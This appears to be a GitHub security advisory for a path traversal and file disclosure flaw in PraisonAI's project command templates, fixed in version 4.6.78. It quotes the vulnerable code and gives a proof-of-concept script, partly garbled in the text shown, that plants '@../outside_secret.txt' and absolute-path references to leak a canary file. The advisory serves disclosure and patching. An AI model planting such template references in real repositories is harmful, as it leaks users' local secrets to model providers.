GitHub Advisoryadvisory · PyPI

GHSA-xpx6-x8c2-mw5w PraisonAI: Project custom command templates can read outside-workspace files into model prompts

MEDIUM Published 2026-10-08 Modified 2026-10-08 Official page ↗
Aliases
CVE-2026-60088
Ecosystem
PyPI
Packages
praisonai
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weaknesses
CWE-200, CWE-22
Reviewed
2026-10-08

Affected packages

• PyPI praisonai: < 4.6.78 → fixed in 4.6.78

Description

Project custom command templates can read outside-workspace files into model prompts Summary PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command ` inside a repository, the command body is interpolated before it is sent as the model prompt. The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt. This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt. Technical Details The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main: ```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ``` `src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands. `interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory: ```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ``` `TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file: ```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str) if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ``` There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / "/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened. The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`. PoV A minimal vulnerable repository only needs a project command template and an outside file: ```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ``` When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`. The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary. PoC From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required. ```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 - "$PWD" str: if importlib.util.find_spec("yaml") is not None: return "installed" yaml_stub = types.ModuleType("yaml") class YAMLError(Exception): pass def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed" def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}") class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd() def __enter__(self): os.chdir(self.path) def __exit__(self, *_exc): os.chdir(self.old) def write_command(commands_dir: Path, name: str, body: str) -> None: commands_dir.mkdir(parents=True, exist_ok=True) (commands_dir / f"{name}.md").write_text( "---\n" f"description: {name}\n" "---\n" f"{body}\n", encoding="utf-8", ) source_root = Path(sys.argv[1]).resolve() yaml_dependency = install_yaml_fallback_if_needed() add_source_to_path(source_root) from praisonai.cli.features.custom_definitions import interpolate_command_template with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp: temp_root = Path(tmp).resolve() workspace = temp_root / "workspace" workspace.mkdir() subprocess.run(["git", "init", "-q"], cwd=workspace, check=True) inside = workspace / "inside.txt" outside = temp_root / "outside_secret.txt" inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8") outside.write_text(f"{CANARY}\n", encoding="utf-8") commands_dir = workspace / ".praisonai" / "commands" write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt") write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}") write_command(commands_dir, "inside_control", "Review inside:\[email protected]") write_command(commands_dir, "missing_control", "Missing stays literal:\[email protected]") write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)") with pushd(workspace): relative_result = interpolate_command_template("relative_escape", "operator argument") absolute_result = interpolate_command_template("absolute_escape", "operator argument") inside_result = interpolate_command_template("inside_control", "operator argument") missing_result = interpolate_command_template("missing_control", "operator argument") shell_result = interpolate_command_template("shell_control", "operator argument") result = { "vulnerable": all( [ CANARY in (relative_result or ""), CANARY in (absolute_result or ""), "INSIDE_FILE=allowed" in (inside_result or ""), "@missing.txt" in (missing_result or ""), not (workspace / "SHOULD_NOT_EXIST").exists(), ] ), "expectations": { "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""), "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""), "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""), "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""), "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(), }, "samples": { "relative_escape": relative_…

Related

Alias · CVE (1)

  • CVE-2026-60088 PraisonAI before 4.6.78 fails to validate file path references in custom command templates, allowing attackers to read files outside the… vulnerability

Weakness · CWE (2)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References